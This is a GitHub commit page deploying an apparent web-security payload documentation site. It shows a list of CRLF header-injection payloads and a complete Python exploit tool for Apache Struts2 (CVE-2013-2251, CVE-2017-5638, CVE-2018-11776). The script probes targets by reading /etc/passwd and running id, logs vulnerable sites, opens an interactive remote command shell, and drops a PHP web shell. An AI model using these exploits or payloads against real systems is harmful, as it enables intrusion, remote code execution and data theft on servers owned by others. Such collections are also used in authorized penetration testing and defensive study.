Skip to content

Commit db975ec

Browse files
author
Swk
committed
Deployed f57d081 with MkDocs version: 1.6.1
0 parents  commit db975ec

File tree

614 files changed

+865543
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

614 files changed

+865543
-0
lines changed

.nojekyll

Whitespace-only changes.

404.html

+5,623
Large diffs are not rendered by default.

API Key Leaks/Files/MachineKeys.txt

+3,571
Large diffs are not rendered by default.

API Key Leaks/IIS-Machine-Keys/index.html

+6,176
Large diffs are not rendered by default.

API Key Leaks/index.html

+6,233
Large diffs are not rendered by default.

Account Takeover/index.html

+6,270
Large diffs are not rendered by default.

Account Takeover/mfa-bypass/index.html

+6,165
Large diffs are not rendered by default.

Business Logic Errors/index.html

+6,070
Large diffs are not rendered by default.

CONTRIBUTING/index.html

+5,873
Large diffs are not rendered by default.

CORS Misconfiguration/index.html

+6,440
Large diffs are not rendered by default.
+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
/%%0a0aSet-Cookie:crlf=injection
2+
/%0aSet-Cookie:crlf=injection
3+
/%0d%0aSet-Cookie:crlf=injection
4+
/%0dSet-Cookie:crlf=injection
5+
/%23%0aSet-Cookie:crlf=injection
6+
/%23%0d%0aSet-Cookie:crlf=injection
7+
/%23%0dSet-Cookie:crlf=injection
8+
/%25%30%61Set-Cookie:crlf=injection
9+
/%25%30aSet-Cookie:crlf=injection
10+
/%250aSet-Cookie:crlf=injection
11+
/%25250aSet-Cookie:crlf=injection
12+
/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
13+
/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
14+
/%2F..%0d%0aSet-Cookie:crlf=injection
15+
/%3f%0d%0aSet-Cookie:crlf=injection
16+
/%3f%0dSet-Cookie:crlf=injection
17+
/%u000aSet-Cookie:crlf=injection

CRLF Injection/index.html

+6,029
Large diffs are not rendered by default.

CSV Injection/index.html

+5,900
Large diffs are not rendered by default.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
#!/usr/bin/python
2+
3+
from __future__ import print_function
4+
from future import standard_library
5+
standard_library.install_aliases()
6+
from builtins import input
7+
from builtins import str
8+
import urllib.request, urllib.error, urllib.parse
9+
import time
10+
import sys
11+
import os
12+
import subprocess
13+
import requests
14+
import readline
15+
import urllib.parse
16+
17+
RED = '\033[1;31m'
18+
BLUE = '\033[94m'
19+
BOLD = '\033[1m'
20+
GREEN = '\033[32m'
21+
OTRO = '\033[36m'
22+
YELLOW = '\033[33m'
23+
ENDC = '\033[0m'
24+
25+
def cls():
26+
os.system(['clear', 'cls'][os.name == 'nt'])
27+
cls()
28+
29+
logo = BLUE+'''
30+
___ _____ ___ _ _ _____ ___
31+
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
32+
| (_(_) | | | (_) )| | | | | | | (_(_)
33+
`\__ \ | | | , / | | | | | | `\__ \
34+
( )_) | | | | |\ \ | (_) | | | ( )_) |
35+
`\____) (_) (_) (_)(_____) (_) `\____)
36+
37+
=[ Command Execution v3]=
38+
By @s1kr10s
39+
'''+ENDC
40+
print(logo)
41+
42+
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
43+
host = input(BOLD+" [+] HOST: "+ENDC)
44+
45+
if len(host) > 0:
46+
if host.find("https://") != -1 or host.find("http://") != -1:
47+
48+
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
49+
50+
def exploit(comando):
51+
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
52+
return exploit
53+
54+
def exploit2(comando):
55+
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#[email protected]@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
56+
return exploit2
57+
58+
def exploit3(comando):
59+
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
60+
return exploit3
61+
62+
def pwnd(shellfile):
63+
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
64+
return exploitfile
65+
66+
def validador():
67+
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
68+
return arr_lin_win
69+
70+
#def reversepl(ip,port):
71+
# print "perl"
72+
73+
#def reversepy(ip,port):
74+
# print "python"
75+
76+
# CVE-2013-2251 ---------------------------------------------------------------------------------
77+
try:
78+
response = ''
79+
response = urllib.request.urlopen(host+poc)
80+
except:
81+
print(RED+" Servidor no responde\n"+ENDC)
82+
exit(0)
83+
84+
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
85+
86+
if response.read().find("mamalo") != -1:
87+
print(RED+" [-] VULNERABLE"+ENDC)
88+
owned = open('vulnsite.txt', 'a')
89+
owned.write(str(host)+'\n')
90+
owned.close()
91+
92+
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
93+
#print BOLD+" * [SHELL REVERSA]"+ENDC
94+
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
95+
if opcion == 's':
96+
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
97+
time.sleep(1)
98+
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
99+
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
100+
101+
while 1:
102+
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
103+
espacio = separador.split(' ')
104+
comando = "','".join(espacio)
105+
106+
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
107+
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
108+
print("\n"+shell.read())
109+
elif espacio[0] == 'pwnd':
110+
pathsave=input("path EJ:/tmp/: ")
111+
112+
if espacio[1] == 'php':
113+
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
114+
urllib.request.urlopen(host+pwnd(str(shellfile)))
115+
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
116+
if shell.read().find(pathsave+"status.php") != -1:
117+
print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
118+
else:
119+
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
120+
121+
# CVE-2017-5638 ---------------------------------------------------------------------------------
122+
print(BLUE+" [-] NO VULNERABLE"+ENDC)
123+
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
124+
x = 0
125+
while x < len(validador()):
126+
valida = validador()[x]
127+
128+
try:
129+
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
130+
result = urllib.request.urlopen(req).read()
131+
132+
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
133+
print(RED+" [-] VULNERABLE"+ENDC)
134+
owned = open('vulnsite.txt', 'a')
135+
owned.write(str(host)+'\n')
136+
owned.close()
137+
138+
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
139+
if opcion == 's':
140+
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
141+
time.sleep(1)
142+
143+
while 1:
144+
try:
145+
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
146+
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
147+
result = urllib.request.urlopen(req).read()
148+
print("\n"+result)
149+
except:
150+
exit(0)
151+
else:
152+
x = len(validador())
153+
else:
154+
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
155+
except:
156+
pass
157+
x=x+1
158+
159+
# CVE-2018-11776 ---------------------------------------------------------------------------------
160+
print(BLUE+" [-] NO VULNERABLE"+ENDC)
161+
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
162+
x = 0
163+
while x < len(validador()):
164+
#Filtramos la url solo dominio
165+
url = host.replace('#', '%23')
166+
url = host.replace(' ', '%20')
167+
if ('://' not in url):
168+
url = str("http://") + str(url)
169+
scheme = urllib.parse.urlparse(url).scheme
170+
site = scheme + '://' + urllib.parse.urlparse(url).netloc
171+
172+
#Filtramos la url solo path
173+
file_path = urllib.parse.urlparse(url).path
174+
if (file_path == ''):
175+
file_path = '/'
176+
177+
valida = validador()[x]
178+
try:
179+
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
180+
181+
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
182+
print(RED+" [-] VULNERABLE"+ENDC)
183+
owned = open('vulnsite.txt', 'a')
184+
owned.write(str(host)+'\n')
185+
owned.close()
186+
187+
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
188+
if opcion == 's':
189+
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
190+
time.sleep(1)
191+
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
192+
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
193+
194+
while 1:
195+
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
196+
espacio = separador.split(' ')
197+
comando = "%20".join(espacio)
198+
199+
shell = urllib.request.urlopen(host+exploit3(str(comando)))
200+
print("\n"+shell.read())
201+
202+
else:
203+
x = len(validador())
204+
exit(0)
205+
else:
206+
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
207+
except:
208+
pass
209+
x=x+1
210+
else:
211+
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
212+
exit(0)
213+
else:
214+
print(RED+" Debe Ingresar una Url\n"+ENDC)
215+
exit(0)

0 commit comments

Comments
 (0)